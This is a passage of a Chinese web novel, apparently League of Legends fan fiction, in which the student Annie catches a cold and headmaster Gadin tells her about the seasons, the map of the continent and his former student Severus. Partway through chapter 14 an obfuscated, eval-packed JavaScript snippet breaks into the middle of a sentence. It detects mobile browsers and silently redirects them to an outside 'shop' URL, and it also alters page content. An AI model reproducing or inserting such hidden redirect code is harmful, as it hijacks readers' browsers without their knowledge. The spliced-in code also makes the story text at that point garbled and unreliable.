加丁仍旧在这半个小时里喋喋不休,安妮早就习惯了左耳朵进右耳朵出。和灵力玩是她乐意,但并肩作战提升掌控,那是不可能的。 想来冰灵力也是这个想法,所以每次在加丁面前都格外叛逆。 两个小家伙一拍即合,于是加丁还是只能看着安妮纹丝不动的50发愁。 说不定这50都是假的,因为这仅仅是发挥力量时的掌控,他们根本连心意都不相通。 安妮听到加丁的分析,更加不以为然了。如果真的是这样,也许之前的她会沮丧,会奋进,会改变现状,但现在这样的情况对她而言只好不坏。 她也只能这样乐观下去了…… 安妮每每这样想,心中的郁结和怨愤就一同增长着。 什么时候可以见一见菲缇老师? 她有好多好多事情想和她分享…… “安妮,不要走神,灵力会觉得这是不尊重它的行为。”加丁用权杖捶了捶地面,唤回安妮的思想,“灵力既然已经被你放出来,那么你就需要对它负责。” 负责……又是负责…… 这五天里,加丁说得最多的话就是负责。 要对自己放出的灵力负责,不能让它恣意破坏…… 要为自己的言行负责,说出的话做过的事…… 要对自己负责,学习是为了自己,努力也是为了自己…… 安妮觉得加丁的眼里,恐怕每个人都要对全世界负责。但如果真的如此,天道也就不会不负责任地选择毁灭了。 “今天不想玩,下次吧。” 加丁终于走了,可是安妮仍旧无精打采。每天的训练都是煎熬,朝七晚十的安排更是让她心中疲惫。她越来越想念以前的训练时光了…… 也不知道菲缇老师去哪了……听说四年教育时长一过,老师们就只是做外出历练的学生们的挂名导师了,需要去教授新一届 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“这些东西是大补的,吃了容易感冒,你刚刚睡着了也没盖个被子。” 加丁说得云淡风轻,手上动作却不停。 安妮眼见他要收走阿狸姐姐做的菜,登时不乐意了,抢过盘子放在自己面前:“这是阿狸姐姐给我做的,我要吃,感冒了也是我自己的事,我会对自己的行为负责的。” 不过是吃点鸡肉,哪那么容易感冒!安妮自认从小到大没被低温侵袭过,在草地上睡觉更是家常便饭。 加丁被抢了东西,也不气恼:“既然如此,那你随意,反正提醒的义务我已经尽到了……有些错误可以尝试一下,反正弥补起来也不难。” 安妮最烦的就是加丁这样一副自以为是的模样,明明是一件很小的事情,偏偏能和大道理联系在一起,还非要说出来显得自己博学多闻。就比如现在,不过是吃个饭,还能牵扯到试错。 许是这样想本就容易气闷,等加丁离开,安妮反而盯着这两道菜吃得起劲,好像吃得越多,反抗加丁的决心越强。 由于吃得太饱,本身也没有训练的心思,安妮这次不到九点就请假回去了。她原本以为还需要编个理由,谁知一提出来离开,加丁就毫不犹豫地答应了,倒显得她小人之心。 回到宿舍换好衣服,安妮刚想去湖边转转,忽然想起来,木木已经走了。 快五天了……也不知道他们到恕瑞玛没有。 其实安妮始终不明白为什么她在无妄森林遇见的阿木木,神殿却在恕瑞玛。要知道,恕瑞玛作为源大陆的中心,不仅占地面积广,而且和无妄森林隔着一个圣城,一个无妄边境! 难不成木木是从北方的奇迹平原那里走过来的?可是那得多长时间啊…… 算了,不想了,想也想不出来。木木从哪里来的真的重要吗? 安妮不觉得。 脑袋有些沉……安妮摸了摸额头,感觉手指有些冰凉。 难不成真的要感冒?安妮才不想让加丁一语成谶,她找出之前准备的医药箱,拿出里面的感冒预防药,和着冷水直接吞了下去。 室内有维持温度的火山石,所以这水并不太冷,可是安妮还是觉得自己好像吞了一条滑溜溜冰冰凉的蛇进肚子,忍不住打了个寒颤。 睡一觉吧,凯德阿姨说要是觉得自己快感冒了,吃完药就要好好休息。 安妮早早地换上睡衣,抱着提伯斯盖好被子。 刚刚进被窝,有一些冷,提伯斯在被子里捂了半天,也不见暖和。安妮摸着提伯斯凉凉的毛,觉得手也越来越僵硬了。 这不是平时睡觉的时间,但是安妮还是很累。大概是想得太多,面临的改变太多,闭上眼,拍了几下提伯斯,安妮进入梦乡…… 黑。 冷。 安妮睁开眼,看见自己正蜷缩着,漂浮在一片虚无里。 “提伯斯?” 手中空空如也,她想喊,可是发不出声音。 这是哪里? 安妮慢慢站起来,她想伸展四肢,可是刺骨的寒意让她不得不抱紧自己,汲取零星的温暖。她感觉脚下好像踩了一块寒冰,那水汽和冷气沿着双脚缠绕攀爬上来,冻住自己的步伐。 “呼……” 黑暗里多出来一些白色雾气。 安妮的鼻子好像吸进了松软的雪,随着气息在脑子里扩散,堵住耳朵,刺痛牙齿,连思想都缓慢起来。 醒醒,快醒醒…… 好冷…… 好冷…… 朦胧间,安妮好像来到了一片冰天雪地中,蹲着,抖动着,慢慢被冰雪淹没。 冷…… 安妮睁开沉重的眼皮,脚和手,还有下巴,肚子……哪哪都冷。 怎么回事? 脑袋一阵透凉,冰冷的风刮过,让混沌的意识稍微清醒了一点。安妮慢慢坐起来,只觉得随着动作,冷气疯狂地往被窝里钻。 她顺着风吹来的地方看去,才发现窗子不知何时已经大开,被冷风来回摇晃。 安妮心中闪过一丝挣扎。 头上又传来一股清凉的感觉,她一哆嗦,还是鼓起勇气下了床。 拖鞋像冰块一样又硬又滑,踩上去寒冷刺骨。安妮咬牙穿上,一边裹紧睡衣,一边颤抖着关掉窗,伸出的手似乎都被冻成了森林里的冰树枝。 回到被窝,还好留有余温,并不是太难熬。 安妮禁不住困意侵袭,再度闭上眼睛。 不知过了多久,关得严严实实的窗户似乎被谁悄悄打开,露出点点缝隙,却很克制地没有再任由狂风进屋肆虐。 14. 14 安妮仍旧感冒了,这是连打喷嚏都很少有的她难以掩饰的。 加丁对此并不表示惊讶,相比安妮略显尴尬的态度,他表现出足够多的尊重与关心,并不嘲笑安妮不听谏言。 这让安妮更加尴尬了。 “昨天吃的东西不对是一方面……你有没有关好门窗?还有地暖,开没有开?” 光明学院的地暖都是需要自己打开调节温度的,但很显然从未使用过这些“高科技”的安妮并不会开——事实上这四年里她除了学习真的对其他事务一窍不通。 加丁见安妮摇头,叹了口气:“这也不能全怪你,你应该没有看过光明学院的入学手册。” 安妮这次脸红到了耳根。 不是不看,是她根本没放在心上,菲缇也并不觉得这很重要,于是她理所应当地忽略了。 “不要觉得有冰灵力傍身就不用惧怕感冒,秋冬换季,温度骤降,还不做好保暖,是很多学生感冒的原因。” 加丁仍旧是一边踱步一边碎碎念,但这次安妮却听了进去,因为他开始说治感冒的方法。 感冒真的太难受了,鼻子不通气,头晕目眩反应迟钝,还做什么都没有力气。即使安妮不太乐意接受加丁的指导,她在此刻也确实需要有人帮忙,因为从小她就没感冒过。 这真是个悲伤的故事。 加丁说完需要开的草药,又开始说生活上的细节。安妮默默听着,心道起码没说课程的学习内容了,时间也不算难过。 “其实治疗感冒还有个捷径,这是许多贵族和大法师采用的方法。” 安妮竖起了耳朵。 “你知道为什么那些大法师和有钱人从没感冒过吗?因为冰灵力或者木灵力的帮助。拥有冰灵力的人天生对低温有抵抗,灵力越强抵抗越强,而达到一定的掌控度,这些冰系法师就可以将灵力分离出来附着在草药上,做成丹药出售,吃了这些丹药的人在一段时间内也会受到冰灵力的保护,进而对感冒有抵抗。而拥有木灵力的人倘若对植物有亲和,就可以将植物的药性发挥到最大,他们配制的草药丹药药性更好,也能预防感冒,治疗也会事半功倍。” “如果你想快速医治好自己,或许可以尝试提升自己的掌控,冰灵力为你所用后会锻造你的身体,在这个过程里,你的感冒自然而然就好了。” 那不值得。 本来还以为有捷径,但一听完加丁的话,安妮就直接打消了这个念头。 “不过这个方法还是太冒险了,最安全的做法还是去找多特老师开药。秋转冬季的时期他比较忙,不过我可以帮你拿点丹药。” 加丁不等安妮拒绝,拿着权杖就走了。 安妮看着加丁远去的身影,心情有些复杂。 “之前我还没有发现,但是现在知道了,我就必须弥补。你的生活常识,或者说各方面的常识简直匮乏到令人发指,我想我需要给你科普更多。” 不过是一个感冒……安妮觉得加丁未免有些小题大做。但不训练总归是好的,她没有理由拒绝。 “不要认为这段时间你就可以放松了,我每天都会给你拓展常识,但其他时候你也要自己练习。” 浪费时间的方法不同而已……感冒了的安妮少了精力去心烦意乱,反而更加能够接受了。 “先给你说说学院手册吧,这是我从新生负责人那里拿来的你们那一届的手册,你先看看。里面记载了作为学院学生必须做到的事,自身应尽的义务以及八年学习的安排,手册最后还有一些典型问题的解答,我想你会用到的。” 加丁把一本崭新的手册递给安妮,安妮接过,打量了一下,就想了起来。 是那本第一页第一条就要求“永远忠于天道”的手册——怪不得她和菲缇都自动忽略了。 “如果对手册上的解读有什么疑问,随时可以来找我,这上面记载了有关衣食住行的指导,有的你已经吃过亏了,有的也已经经历过了,端看你自己怎么使用。” 加丁说完看了看时间,思考了一会儿,接着安排,“我不强迫你看书,有些事还是自己体验得好。现在还有二十分钟,我想可以给你说说关于季节的事,也让你对圣城的冬天拥有足够的敬畏。” 季节?这对安妮而言似乎没什么用处。 “圣城的低温来自于极寒冰原——那个据说占地面积大于恕瑞玛沙漠的源大陆最南端——的寒风。这些寒风不知道因为什么格外猛烈,每年秋转冬季都会带来骤然降温和大量雨雪,使圣城蒙上白茫茫的一片。这个规律从未被打破,因此做好保暖工作已经是大家心照不宣的事。” “冬天的寒冷和春天的温暖衔接得显然更自然,所以冬春交替的时候总是能在大街上看到穿裙子与裹大衣的人走在一起。至于夏天,也是极其炎热的,只是这温度正常得多,是来自太阳的。‘圣城’之所以叫‘圣城’,除了因为它神圣的地位外,还因为这里的阳光足够灿烂、神圣。最后是你刚刚经历的秋天,这是个喜怒无常的季节,明明在转凉,却还会在最后几天垂死挣扎一下,那几天的温度不亚于夏天的炎热,甚至让人更加烦闷,让人怀疑它燃尽了自己所有的生命力,然后干净利落地消失。” 不得不承认,虽然加丁说话没有很大的起伏,不会卖关子,也不会抑扬顿挫,但他的话语却如同有魔力一样,缓缓地描绘出一个个鲜活的画面。那些略带幽默的词语在他严肃的表情下也显得十分生动,每句话都和蔼可亲。 安妮不自觉地就听了下去。 她知道圣城的秋转冬很冷,但她从不知道是因为什么,也没人告诉她是因为什么。她知道春夏秋冬各自的特点,但她没有观察过圣城街道上的人,也不知道圣城名字的由来有季节的原因。 这大概是未知的魅力。安妮不由得听了下去。 “好了,今天先说到这里,我会慢慢给你补充的,不过现在我还有点事需要处理。” 加丁走得毫不犹豫,安妮的心情稍微平静了下来。 但是冰冷的身体还是让她感觉到不适。头晕目眩,头重脚轻……这些感觉是她从未体验过的,好像思考什么都会被懒惰懈怠影响。僵硬的四肢也不想动,可是缩起来更加难以忍受…… 这就是感冒的感觉吗?那真是太糟糕了。 安妮想着,漫不经心地继续散步。 校长办公室里多了一个熟人。 “我没有别的意思,但安妮毕竟是我的学生,我还是希望……” “她现在是我的学生。” 加丁不容置疑地打断。 菲缇摇头,无奈地笑了笑。 “我以前的学生,对么?”菲缇不等加丁回答,继续抢道,“我并没有想重新接回她的意思,只是我们毕竟太久没见了,哪怕是作为朋友,我也希望可以去看看她。” “那你觉得……作为老师,你尽到自己的义务了吗?” 加丁的问题缓慢而严肃,似乎已经有了答案。 但菲缇显然对这个答案不满意。 “我问心无愧。” “是的,你问心无愧……”加丁点头,慢慢起身,从桌子上拿出一本学院手册,“但你太年轻了,菲缇老师。” 你自然才是个老不死的。菲缇腹诽着,却仍旧保持微笑。 “我理解你们年轻老师的爱才之心,不管有没有添加自己的私心。但你似乎并没有让安妮学会她这个年纪应该学会的东西——起码她的表现告诉我,她还不会开学院宿舍的地暖。” 加丁比菲缇矮上一截,但他的权杖很好地弥补了身高劣势,站起身扶着权杖的加丁气势凛然,年轻的教师感觉周围好像布满了尖刺。 “校长,我承认是我太急功近利了,或者说太纵容她了,但我想这不是阻断我们之间的联系的理由,我想在她不断接受新事物的时候陪着她。” “然后告诉她过去的并不是错误的?” 菲缇默了。 加丁已经对她的行为盖棺定论。 “我在试图纠正她的错误,在此之前我不希望还有任何过去的事情误导她。” 加丁的态度很强硬,以至于菲缇找不出继续劝说的办法。 最后,她也只能应声,离去。 加丁看着菲缇因不满略显急促的动作,眼底划过一丝满意。 而心中毫无波澜的菲缇,撑着倔强愤懑的微笑,仍旧感到无比地满意。 不就是洗脑么?她倒要看看,究竟是谁的手段更胜一筹。 菲缇在接收到新的班级后,再也没有提出看望安妮。 虽然安妮有怀疑过这条信息的真实性,但显然,她更相信加丁。不是因为对加丁印象的改观,而是这个日理万机,永远严肃认真的老头没有理由云淡风轻地撒一个谎。 “我知道你不相信我,只是你问了,我总要说。” 加丁没有再给出任何解释,可是不知道为什么,安妮还是信了,并且为之失落。 “神使大人带着艾德文特探索神殿也有五天了,他们应该已经到达恕瑞玛的中心了。” 安妮果然被吸引住,可惜加丁也没有更多的信息了。 “你知道源大陆的地图板块吗?” 安妮懵懵懂懂地点头,混沌的记忆里勾勒出一张地图。 “既然知道,那我就给你说一些你不知道的。” 安妮心里有些嘲讽,加丁怎么会清楚她不知道什么?起码对于无妄边境的了解,她要胜过他几筹。 “源大陆作为一个板块,四面都被海洋覆盖、包围,在以后,极有可能会分裂形成不同的大陆。据艾德文特了解,吞噬之海内部正延伸得越来越多,无妄边境也在悄无声息地扩大,只是极寒冰原的边远地区却没什么动静。” 加丁这次用灵力在桌子上画出了一副立体的地图,说到哪里,哪里就开始变红,出现名字,显得十分智能。 “极寒冰原一直是艾德文特未曾踏足的另一个禁地,除了偶尔出没的神秘野人,再也找不到什么生物。它的低温很奇怪,正如我所说的,它造成了圣城冬天的寒冷,并且没有遵守艾德文特的大陆分裂规律。 不过恕瑞玛沙漠也不遑多让,这同样是一个禁地,吞噬生命的流沙和剧烈的高温足以留下所有不慎踏足的来客。 值得高兴的是,艾德文特找到了在那里探险的方法——他是一个顶尖的探险家,一个足以让所有人承认‘顶级探险家’荣誉的人,我的学生。” “学生?!” 安妮有些惊讶,但这似乎又理所当然。 “没错,他具有探险家的独特天赋,除了黄金罗盘和金丝手镯,我其实没有给他太多,好在我的阵法知识还过得去,机关也有所涉猎。” 安妮不知不觉将自己的惊呼喊了出来,加丁便不无骄傲地开始“谦虚”。这倒是让他显得平易近人了许多。 “除了这两大禁地,源大陆的所有地方艾德文特都去过。不过真要说还有什么特殊的,应该是他在奇迹平原北端标注的问号。据说当他往奇迹平原最北端走的时候,似乎迷失了方向,无论以什么方式走向哪里,最后都会回到奇迹平原的中心。” 这些都是安妮在地图上不曾了解过的,不得不说加丁介绍起来确实引人入胜。 “你为什么要告诉我这些?” “哦?”似乎没预料到安妮会这样问,加丁缅怀的神情一怔,随即恢复官腔,“只是些常识罢了,艾德文特不写出来是害怕自己记述错误误人子弟,你听听就好——我相信你有自己的判断。” 安妮看着面前云淡风轻的老头,心情有些复杂。 “好了,今天的科普还差点,不过我大概需要等会儿过来了,这是艾德文特给我的地图,你可以看看。” 加丁拿着权杖一挥,桌子上漂浮的地图立刻变成平面展开,上面多了许多标注。 安妮试探着点了一下灾难丛林,那里立刻展开,出现一个侧面的海拔图,旁边是危险度,资源度分析,甚至还有特殊说明。 没想到灾难丛林的兽潮会波及到约德尔城,并且艾德文特连近几年兽潮里的野兽比例都有记载…… 安妮震惊之余,只觉得加丁未免太大方了一点。 怀着忐忑的心情,安妮点开了无妄边境。 这一次的资料很少,只是大致阐述了无妄边境那可怜的资源度。 夹在繁华的圣城和危险的无妄森林之间,自给自足显得十分困难,无妄边境的人除了贸易已经别无选择。艾德文特在那里的种族分布上标记了“黑暗族”,安妮心中莫名有些慌乱。 艾德文特会不会认识她?所以那天剪彩之后那么奇怪? 但是如果他知道了自己的身份,加丁就不应该是她的导师,而应该成为赶走她的校长才对。 安妮继续查看地图,最后终于搞明白了这张地图隐藏的诸多信息,例如极寒冰原是未知之地,奇迹平原北部可能还存在领域,以及无妄边境不知为何信息和那些神秘危险的地区一样少…… 看着暴风平原资源详情处写的酒神草,安妮终于明白了珀森胡子里的草屑来自哪里。 “看来你对这地图很感兴趣。” 加丁传送来的时候,安妮还在来回翻看地图。她的页面停留在灾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119482|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难丛林资源度里,能看到中心展开的各种上古异兽的立体影像。 “这些上古异兽是不是真的存在,我还不得而知,艾德文特只是根据一些痕迹和古书记载推断罢了。” “是吗?他真厉害。” 安妮漫不经心地附和了一声。她的目的并不是查看和记忆这些异兽的信息,只是想看看里面有没有提伯斯罢了。 没有。 其实安妮之前就发现了,异兽信息里有关黑暗属性的野兽的记载寥寥无几。 大概是本身就少,研究的资料也少吧。谁会特意关心这些和黑暗族一样讨厌的家伙呢? “有什么问题想了解吗?例如,你想知道,上面的信息却不完善的?” 想知道,上面的信息却不完善的? 安妮鬼使神差地问了无妄边境。 她刚问完就反应过来了,自己的警惕心似乎有所减少。 不过加丁没有给她反悔的机会。 “这个地方的信息确实很少……” 他认同地点头,让安妮稍微放松了些。 “其实无妄边境没什么可了解的。之前艾德文特申请研究那里是否有隐藏的传送门或者其他遗迹,被我拒绝了,大致有两个原因:一个是那里太贫瘠,没有研究的必要;第二个就是……因为我的学生塞弗勒斯。” 加丁顿了顿,安妮也跟着顿了顿,但好在他们彼此都没有表现出对这个名字的重视。 “塞弗勒斯很有天赋,可惜我们终究分道扬镳。总之,我不乐意插足他的生活,我想他也不会愿意让我知道他的生活状况的。” 所以爸爸是他的学生? 安妮低下头,视线在地上逡巡,好像这样可以掩饰自己的震惊。 “好了,无妄边境确确实实没有什么可聊的,你不如把视线放在别的地方——我还以为你会对那个充满故事的奇迹平原感兴趣呢。” 就算安妮喜欢听故事,也不代表她喜欢加丁讲的故事。 好在加丁也看出了她的不情愿,换了另一个话题。 “刚刚给你介绍灾难丛林的时候,我忘记了另一个人的贡献,我认为我有必要把他的名字补上——驯兽师凯勒,认识吗?” 安妮诚实地摇了摇头。 “驯兽确实是最近才出现的能力,你不知道他也很正常,但如果你在大街上看到一个人骑着一匹巨狼走过,一定不要试图拦下它。” 加丁晃了晃权杖,地图上密密麻麻的影像消失,取而代之的是一个骑着巨狼的高大男人。 安妮几乎是一瞬间就记住了这个驯兽师。 虽然影像不大,但凯勒身姿挺拔,骑在巨狼上,昂首挺胸气势十足。 他戴着宽大的皮帽,帽檐下有一双狭长深邃的眼睛,鹰钩鼻,唇角微扬,脖子上的三角巾随风舞动。他的皮衣还泛着光,袖子下的肌肉若隐若现。长裤宽松,裤脚扎起,干练爽利。 最引人注目的是他骑在□□的狼。这狼按比例来算,足足有提伯斯那么大,站在地上不怒自威。 雪白的毛发如同利刃,闪着寒光,脖子上虽然有着项圈,但没有任何寄人篱下的感觉。四肢抓在地上,安妮毫不怀疑它的力量足以轻松挥砍一片树木。尤其是狼的眼睛,闪着毫不掩饰的凶光,即使只是影像,安妮也觉得它随时可能暴起。 安妮绷直了身体。 “不用这么紧张,既然是驯兽先驱,他的坐骑就一定不会轻易伤人,不然莫格莱斯怎么会颁给他‘皇家驯兽师’的称号呢?” 原来“皇家驯兽师”就是他!安妮只闻其名不见其人,如今才知道这称号的分量有多重。 “莫格莱斯皇子应该就不用我多说了吧?我想你应该也不会喜欢这些打打杀杀的情节。” 安妮不得不承认加丁看人做事有一套,她的确对那个喊着光复皇室,却不断挑起战争的皇子没有好感,凯德阿姨对他的态度也只是一笔带过。 虽然自己有一些被牵着鼻子走的嫌疑,但安妮却没有办法让自己继续叛逆起来。加丁没有要求她训练掌控,没有要求她学习枯燥的知识,更没有不断检测她对天道的忠心,这已经是最好的结果了,更何况这些知识于她而言并不完全没用,起码她更了解这个世界了。 这是书本上看不到的。 虽然头还有一些晕,但安妮仍旧将加丁讲述的许多常识消化掉了。这是不可多得的和谐时光,她终于没有面前的人说一句,她在心里顶一句了。 “今天的科普就先到这儿吧,咱们还是要干点正事。” 加丁拿出那颗熟悉的水晶球,安妮立刻正襟危坐起来。 “我知道你还在感冒当中,所以不要求你立刻提升掌控。其实有关冰灵力,也有很多有趣的故事,以后有机会可以给你讲讲。现在,我先给你简单说一下之后的任务——你的感冒应该不会拖太久吧?” 拖太久?安妮之前还没思考过这个问题。但似乎拖久一点也挺好,至少在这期间她可以顺理成章地避免训练。 “应该不会。” 或许应该拖久一点。 “那么这几天我就给你讲讲理论知识吧,虽然纸上谈兵不好,但没有理论指导,很多探索也是困难的。如果你不想浪费时间,可以在最近多试试放出冰灵力做事,让它跳个舞,打个拳什么的,你要知道这些小家伙也算有半条生命,你要培养它们和你相同的兴趣爱好。” “除此之外,别的东西我都给你推掉了。四年的学习之后就没有什么月考半期考之类的了,至于探望……或许在你的掌控达标之后,我可以允许你和阿狸出去玩玩。菲缇有自己的事情,你应该是知道的。” 知道是一回事,理解是另一回事。看着加丁如此淡然地诉说着菲缇没有再试图探望她的事实,安妮又想在心里骂他了。 刚刚还夸了他会说话做事,这才多久…… “你的药给你放桌子上了,每天一次,一次三颗,记得吃。” 加丁把药放下,先一步离开了。 安妮听加丁说常识,自己都没怎么接话,已经忘记自己感冒嗓子都不舒服这回事了。虽然很想多拖延一点时间,但一点不吃应该也是不行的吧……安妮在心里默默盘算着,最后决定一天吃一颗,也能让自己的喉咙和鼻子舒服一点。 她把药丸扔进嘴里,淡淡的薄荷味蔓延开。清爽多了……安妮深呼吸一口气,满意地离开了。 她嚼着嘴里带点苦涩的药丸,手一晃,两颗淡绿色的圆子掉进了花坛。 原来宿舍的地暖还可以调温度……安妮回忆着加丁的教学,步伐不自觉地轻快了些。 15. 15 “已经过去这么久了,你的感冒还没好吗?我还以为多特会是一个合格的校医。” 安妮没法评价多特的医术,因为这三天里她每天都只吃了一颗药丸。但她认为多特应该还是有些本事的,因为她能感觉到自己的嗓子已经不干哑了。 不过还是在咳嗽打喷嚏,所以加丁轻而易举地看出了她仍旧感冒。 “或许你应该多提升一下掌控,你可能还不知道有着纯粹冰灵力的人得了低温感冒是件多让人发笑的事。” 令人发笑又如何? 没有人会笑她的,加丁笑不笑她也不在意。 “看来今天需要一些重头戏……”加丁敲了敲权杖,熟悉的水晶球里出现了熟悉的菱形灵力,“把你的灵力释放出来,咱们直接进入正题吧。” 他要干什么? 安妮这几天也在和自己的灵力玩——是那种纯粹的玩。要么放出灵力让她自己乐呵,要么用手指点点水晶球互动一下。 但很显然加丁不是这个意思。 “我的要求很简单,跑到终点就算赢了。” 跑到终点? 安妮还没来得及疑惑,就见那水晶球凌空浮起,带着自己的灵力和她的灵力落到草地上,然后不断变大、变长,最后成为一个直直的跑道。 金色的菱形灵力忽然变大,充斥了整个水晶球,然后不断凝聚,形成一个个障碍。 安妮的灵力站在起点,还是一团带着尾巴的圆形雾气。 “现在我已经改变了水晶球里的世界,你的灵力没有办法漂浮,只能跳跃,而且距离高度都是有限的。你需要帮助它跑到终点。灵力是可以自己行动的,但如果你的意志跟不上,默契不够,它的动作就不能协调,速度等等都有所衰减。” 安妮有些懵,她完全不理解这是什么训练方式。冰灵力和她一样懵,在原地试着往上飞了飞,然后肉眼可见地,身体很快下沉。 “这不是它的极限高度,不过这不重要,它要做的是跳远一点。” 加丁的跑道是用金色灵力铺成的,前面是空隙不同的平坦大道,后面还看不清楚。安妮知道她现在的目的只有一个,那就是带着灵力跳过那些没有路的洞。 你能跳多远? 安妮眼神询问了一下,冰灵力一个冲刺,直直跨过了第一个略窄的坑。安妮刚想夸她一句,就见冰灵力急刹车没停住,毫无阻拦地滑进了第二个坑。 “……” 安妮看着再一次回到起点,左顾右盼的冰灵力,憋笑。 “这是你的灵力。” 安妮知道加丁的意思是她犯蠢你也好意思笑,但她实在是憋不住。 大概是不服气,冰灵力再一次冲刺,这一下没有拼尽全力,而是堪堪跨过。安妮悄悄竖了个大拇指。 第二个坑更宽了,但应该没问题。安妮刚这样想着,就见冰灵力回到了起点。 怎么回事? 她回想了一下眼前的景象,然后发现是没有助跑的原因。 助跑的地方几乎没有,跳不到之前的宽度很正常。 那应该怎么办? “我说过,刚才的宽度并不是它的极限,别忘了除了它,还有你。试着帮助它,比如托起它,或者赋予它力量。” 安妮这下不需要装不懂了,因为她是真的不懂。 她试探着把手放上去,发力,就见一些雾气飘散着凝聚到冰灵力身上。 “我说的是给它力量,不是让它变胖。” “扑哧……” 安妮忍俊不禁。 加丁这一本正经地吹胡子瞪眼的模样太好笑了。 冰灵力抖了抖身体,又瘦了回来。安妮看着她继续努力,继续掉坑里……继续努力,继续掉坑里…… 大概反复了四五次,她终于停下了,大概是累到了,圆圆的小团贴近地面不动,似乎在休息。 “你就不试着帮它一下吗?” “我不会。” 安妮摊手,没有丝毫同情。 不管会不会,她都只能不会,这个她还是记得的。 “既然不会,那先歇会儿吧,我只是告诉你有这个方法,你什么时候想实践了都可以自己试试。” 加丁收起水晶球。 安妮还以为加丁又要走了,谁知道他并没有离开的意思,而是坐在了凳子上。 “或许我的教学方法已经不适合你们这些新学生了,不知道我最近的那位徒弟的经验对你会不会有帮助……塞弗勒斯,你知道的。” 安妮的心“咯噔”一下,跳得很快。 加丁好像没有注意到她的异常,权杖一挥,又是一个影像。 好在是个跑道,不是塞弗勒斯的模样。 “我就给你说说他驯服自己的灵力的过程吧,你也能借鉴借鉴。” 安妮没注意到自己陡然认真的神情被加丁尽收眼底。 “塞弗勒斯是一个很有天赋的学生,他的伴生灵力是雷,这是一个极具破坏力的属性。” 加丁把跑道起点的那个雾气放大了一点,好让安妮看清楚紫色雾气里夹杂的黄色闪电。 “他的力量提升得非常快,雷的攻击又不需要极致的精准,掌控就显得格外重要。虽然在每一届的实战比赛中,他都可以凭借超凡的作战能力稳居第一,但他的掌控确确实实太低了,——仅仅60。也许你会认为你自己都才50,他的60已经足够傲人。但你必须知道,雷是比冰更不稳定的因子,它本身就有极强的连带属性,又不同于已经被我们找到掌控秘诀的电,这导致他的每一场比拼最后都以对手受重伤收场。” 安妮不太相信自己和蔼可亲的爸爸会具有这样的攻击性,但加丁没有停下让她反驳的意思。 “在他的第三学年,我收了他做学生,并且免掉了他的实战比赛,这算是那些被他得罪的家族比较接受的结果了。后来,在我的坚持下,他暂时放弃了对力量的追求,开始提升掌控。他用了很多方法,但无一例外都失败了,掌控卡在60纹丝不动。我于是让他也了解了灵力——像你一样。就是这个跑道,” 加丁将跑道的全貌展示出来,后面还有许多移动的东西。 “一开始,他也和你一样,不知道应该怎么做,甚至嘲笑自己的灵力太弱小了,连简单的跳远都不会。后来他们开始沟通合作,灵力负责感知关卡,他负责控制力量。他们的配合逐渐默契,最后不仅通过了我的关卡,还主动让我提升难度,才有了后面这些奇怪的机关。 事后我问他成功的秘诀是什么,他告诉我是共情。 首先不要蔑视你的灵力,也不要对你自己的灵力展现出漠不关心,如果连你都不在意它,那它就没有存在的意义了; 然后是尊重,你们要互相沟通,这样才能知道它的难处,而不是仅仅觉得它跳不过是弱小,跳不高是不用心; 最后你们要相互理解和团结一致,你们都要朝着一个目标努力,并且互相扶持鼓励,就像朋友一样…… 你明白了吗?” 安妮似懂非懂地点了点头。 她的脑子更晕了。 “现在不理解也没事,这是一个过程,之后你就知道了。” “那他最后的掌控是多少?” 加丁似乎没想到安妮会关心这个,他沉默了一下,“如果我说是99,你信吗?” 99?安妮震惊了。 她查阅资料的时候,看到的掌控巅峰是阿若盖特,她以为那个95已经是不可逾越的了。 99是什么概念? 大概是力量已经与精神融为一体了吧? “那……” 那为什么爸爸会选择修炼黑魔法? 安妮还想问,但她知道她没办法问下去,因为作为一个光明学院的学生,她不应该知道这个天才最后的去向。 “我知道你很震惊,但我也没有骗你的必要。好了,你还是先去消化一下我给你分享的经验吧。” 加丁慢慢地离开,留下安妮怔愣地坐在椅子上。 她的脑子太乱了……她头一次觉得感冒不是件好事。 安妮也不知道自己坐了多久。水晶球展开,起点的灵力却没了之前鲜活的模样,大概是失败太多次,安妮都仿佛看见了她垂头丧气的表情。 其实她也不好受。 一个是努力却没有成效,一个是想努力却不能做出成效,她想她一定比面前的灵力更焦灼。 “怎么了,还是沟通不好?” 原来是加丁回来了。 安妮看了看桌子上的时钟,时针停在三和四之间。原本还以为自己又浪费了一下午,原来是加丁这次来早了。 “坐着想是想不出结果的,实践总比躺平有用。” 加丁居然还知道躺平这个词……安妮仍旧胡思乱想着。 “好了,集中注意力,再试一次,把你自己当做冰灵力,你现在唯一的目标就是跳过这个坑。” 安妮深呼吸一口气,知道不能再装傻了。她站起身,掌心朝前,慢慢托起自己的灵力。大概是知道主人在帮助自己,冰灵力也立刻明亮起来,收缩变小,然后奋力一跃…… 成功了! 这就成功了? 安妮有些难以置信。 “看到了吗,提升掌控并没有你想象中的那么困难。还有一个坑,继续吧。” 安妮还在端详自己的双手。她其实没有帮忙的想法,只是试探性地给予了冰灵力一点力量。 难道她真的这么重要吗? 她又一次伸出手,冰灵力也是跃跃欲试的样子。这一次的配合也很成功,冰灵力居然直直地跨了过去。三个金色的坑洞被填满,水晶球也缩短了一截,安妮不敢相信自己居然过关了。 “接下来是力量,跳过这些障碍。” 面前是逐渐增高的阶梯,第一个只有半个冰灵力那么高,最后一个却足足高了她四倍。安妮看着这么高的阶梯,有些犹豫。 会提升掌控的,卡在这里算了吧。 她看着兴奋得在原地打转的冰灵力,心里划过一丝失落。她非常理解那种成功近在咫尺却无法达到的感觉,那是无数次训练带来的,但最后她总是达到了目标——这次恐怕不行了。 她仍旧小心翼翼地抬手,缓慢地蓄力,冰灵力在最远处开始助跑、冲刺、跳跃……“啪”! 冰灵力消散的一瞬间,安妮慌了一下,但很快圆形的小团子就出现在了起点。 她不知道自己这是什么感觉。 